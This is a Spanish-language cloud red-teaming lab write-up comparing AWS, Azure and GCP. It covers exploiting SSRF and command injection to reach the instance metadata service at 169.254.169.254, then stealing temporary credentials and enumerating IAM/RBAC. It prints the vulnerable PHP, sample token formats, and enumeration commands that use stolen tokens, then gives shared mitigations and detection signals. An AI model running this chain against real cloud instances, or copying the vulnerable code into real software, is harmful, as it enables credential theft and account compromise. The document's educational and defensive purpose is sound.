← Writeups

Cloud Red Teaming Multi-Cloud — Teoría vs Práctica (AWS / Azure / GCP)

El patrón único de explotación cloud y sus tres dialectos: SSRF + Metadata Service → credenciales temporales → enumeración. Comparativa de headers IMDS, formatos de credenciales, IAM/RBAC y APIs de gestión, con la defensa común a los tres proveedores.

Cloud Red Teaming Multi-Cloud — Teoría vs Práctica (AWS / Azure / GCP)


1. Executive Summary

Los tres laboratorios (AWS, Azure, GCP) resuelven el mismo teorema de explotación con tres dialectos distintos: SSRF + Metadata Service → credenciales temporales → enumeración. La teoría y la práctica difieren en los detalles de implementación (headers, formatos de token, nombres de identidad, endpoints de enumeración), pero la cadena de ataque es idéntica y, por tanto, la defensa es la misma.

La cadena unificada

Cadena de ataque cloud unificada Un único flujo de ataque sobre los tres proveedores: reconocimiento, app web vulnerable con SSRF, metadata service con su header específico por proveedor, y credenciales temporales que permiten enumerar el cloud. RECON OSINT S3 · DNS · GitHub APP App vulnerable process.php · SSRF+RCE AWS AWS IMDS sin header · IMDSv1 AZ Azure IMDS Metadata: true GCP GCP IMDS Metadata-Flavor IAM Credenciales temporales AK/SAK · JWT · OAuth2 LEGEND Focal (entrada / objetivo) Metadata service Flujo ataque
Fig. 1 — SSRF + Metadata Service = credenciales cloud en 3 pasos. El único dato que cambia entre proveedores es el header de IMDS.

El "santo grial" de los tres laboratorios

169.254.169.254 es el endpoint link-local de metadata que todas las instancias cloud exponen por diseño: la aplicación dentro de la instancia necesita credenciales sin almacenarlas. La misma propiedad que lo hace útil para el software lo hace explotable desde un SSRF:

Proveedor Header requerido Ruta de credenciales Formato
AWS ❌ ninguno (IMDSv1) /latest/meta-data/iam/security-credentials/{role} JSON plano (AccessKeyId + SecretAccessKey + Token)
Azure ✅ Metadata: true /metadata/identity/oauth2/token?resource={api}&api-version=2018-02-01 JWT (access_token)
GCP ✅ Metadata-Flavor: Google /computeMetadata/v1/instance/service-accounts/default/token OAuth2 token
// AWS — JSON plano
{ "AccessKeyId": "ASIATQGVY3V5ZIVFIUEQ",
  "SecretAccessKey": "VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0",
  "Token": "IQoJb3JpZ2lu..." }

// Azure — JWT decodificado
{ "iss": "https://sts.windows.net/68b40a4c-.../",
  "tid": "68b40a4c-...",
  "oid": "3c19c764-...",
  "xms_mirid": "/subscriptions/4ebaca3d-.../virtualMachines/it-vm" }

// GCP — OAuth2
{ "access_token": "ya29.c.c0AZ4bNpa...", "expires_in": 3599, "token_type": "Bearer" }

IMDSv2 (AWS) rompe el SSRF simple: requiere un token de sesión obtenido por PUT /latest/api/token (con X-aws-ec2-metadata-token-ttl-seconds) y el header X-aws-ec2-metadata-token en cada GET. Un file_get_contents() sin PUT deja de leer credenciales. Es el patch estructural que Azure y GCP emulan con sus headers obligatorios.


2. El camino de explotación por capa

2.1 OSINT — el vector de entrada por proveedor

Lab Herramienta Vector Qué expuso
AWS cloud_enum Brute-force de naming S3 cwl-metatech-prod público (sin credenciales)
Azure gobuster dns Enumeración de subdominios internal.meta-tech.cloud — un host "interno" en internet
GCP GitHub search Secret leakage / supply chain pipeline.yml con una SA key en base64
OSINT cloud:
  ├── Buckets S3      → cloud_enum, bucketkicker
  ├── Subdominios     → gobuster, subfinder, amass
  ├── Repos GitHub    → trufflehog, gitleaks, búsqueda manual
  └── Certificados    → crt.sh, censys

2.2 Fuga de .git — el puente hacia el código

Por defecto un servidor web sirve archivos estáticos; si el directorio .git es accesible, cualquier persona reconstruye el historial completo (código, credenciales borradas en commits posteriores, configuración de infraestructura). Es mala praxis de desarrollo, no un problema cloud — pero fue el vector que entregó process.php en AWS y Azure:

git-dumper http://IP/.git /tmp/gitdump

2.3 SSRF + RCE — el caballo de Troya

<?php
$ip = $_POST['ip'];                          // SSRF: file_get_contents sin validar
$content = file_get_contents($ip);

$org = $_POST['organization'];               // RCE: system() sin sanitizar
$org_output = system($org);

echo $org_output, $content;
?>
Campo Uso legítimo Uso malicioso
ip Validar una IP http://169.254.169.254/... (SSRF)
organization Nombre de la organización curl -s http://169.254.169.254/... (RCE)

2.4 IAM / RBAC / Cloud IAM — la topología de identidad

Concepto AWS Azure GCP
Identidad IAM User / Role User / Service Principal / Managed Identity Service Account
Permiso IAM Policy Role Definition Custom Role
Asignación Policy attached Role Assignment IAM Policy Binding
Scope ARN Scope (subscription, RG, resource) Project, Folder, Org
Politica administrada AWS Managed Policy Built-in Role Predefined Role
# AWS — enumeración post-IMDS
aws iam list-groups-for-user --user-name emp003        # employees
aws iam get-role --role-name crossaccount-role         # trust: manager@058264439561
aws iam list-user-policies --user-name emp001          # s3-administrator-Policy

# Azure — RBAC + Graph (dos tokens, dos APIs)
curl -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$OID'"
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT+Ops'"

# GCP — Cloud Resource Manager + IAM
curl -H "Authorization: Bearer $VM_TOKEN" -X POST -H "Content-Type: application/json" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/mcrta-exam:getIamPolicy" -d "{}"
curl -H "Authorization: Bearer $VM_TOKEN" \
  "https://iam.googleapis.com/v1/projects/mcrta-exam/roles/VMReadgek"

Patrón común: la identidad robada no es admin, pero sus Trust Policy / Role Assignments / IAM Bindings revelan quién puede asumir qué — el mapa de escalada y movimiento lateral.

2.5 Storage buckets

Lab Bucket Contenido Acceso
AWS cwl-metatech-prod dev-server-ip.txt, prod-data.txt (PII financiera) Público, --no-sign-request
GCP stag-storage-metatech-prod11 license-key.txt Con token de VM (reader + storage)

2.6 APIs de gestión — la superficie post-credenciales

Proveedor Mecanismo de auth Superficie
AWS SigV4 (lo maneja la CLI) aws iam, aws s3
Azure JWT como Bearer management.azure.com + graph.microsoft.com
GCP OAuth2 Bearer cloudresourcemanager, iam, storage.googleapis.com

3. Mitigation — la defensa común

La defensa es la misma para los tres proveedores, aplicada en el mismo orden:

  1. No exponer .git ni secretos — el vector de entrada sin credenciales (deny ~/.git en el web server, secret scanning en CI).
  2. Neutralizar SSRF en origen — validar URLs contra allowlist (no blocklist) y filtrar link-local/loopback; un FILTER_FLAG_NO_PRIV_RANGE no basta contra DNS rebinding y redirecciones.
  3. Endurecer el metadata service — AWS: IMDSv2 + --http-tokens required + hop-limit 1; Azure/GCP: mantener los headers obligatorios y restringir la default service account.
  4. Mínimo privilegio IAM/RBAC/Cloud IAM — acotar scope (resource/condition) y auditar trust policies, role assignments y custom roles.
  5. Buckets privados por defecto — Block Public Access / allUsers denegado / objectViewer acotado por recurso.

Detección compartida

Señal Proveedores
curl a 169.254.169.254 desde la app (flow logs / audit) Todos
Credenciales temporales usadas fuera de la instancia (mismatch sourceIP/userAgent) AWS (CloudTrail), Azure (Sign-in logs), GCP (Audit Logs)
getIamPolicy / roleAssignments / GetRole en ráfaga desde una identidad de VM Todos
Lecturas anómalas de objetos (DATA_READ) desde una SA de app GCS / S3 data events

Conclusión: los tres laboratorios demuestran que la diferencia entre AWS, Azure y GCP es superficial — headers, formatos de token y nombres de conceptos. El teorema de explotación (recurso expuesto → SSRF → IMDS → credenciales → enumeración) y su contramedida (endurecer entrada + metadata + mínimo privilegio) son universales.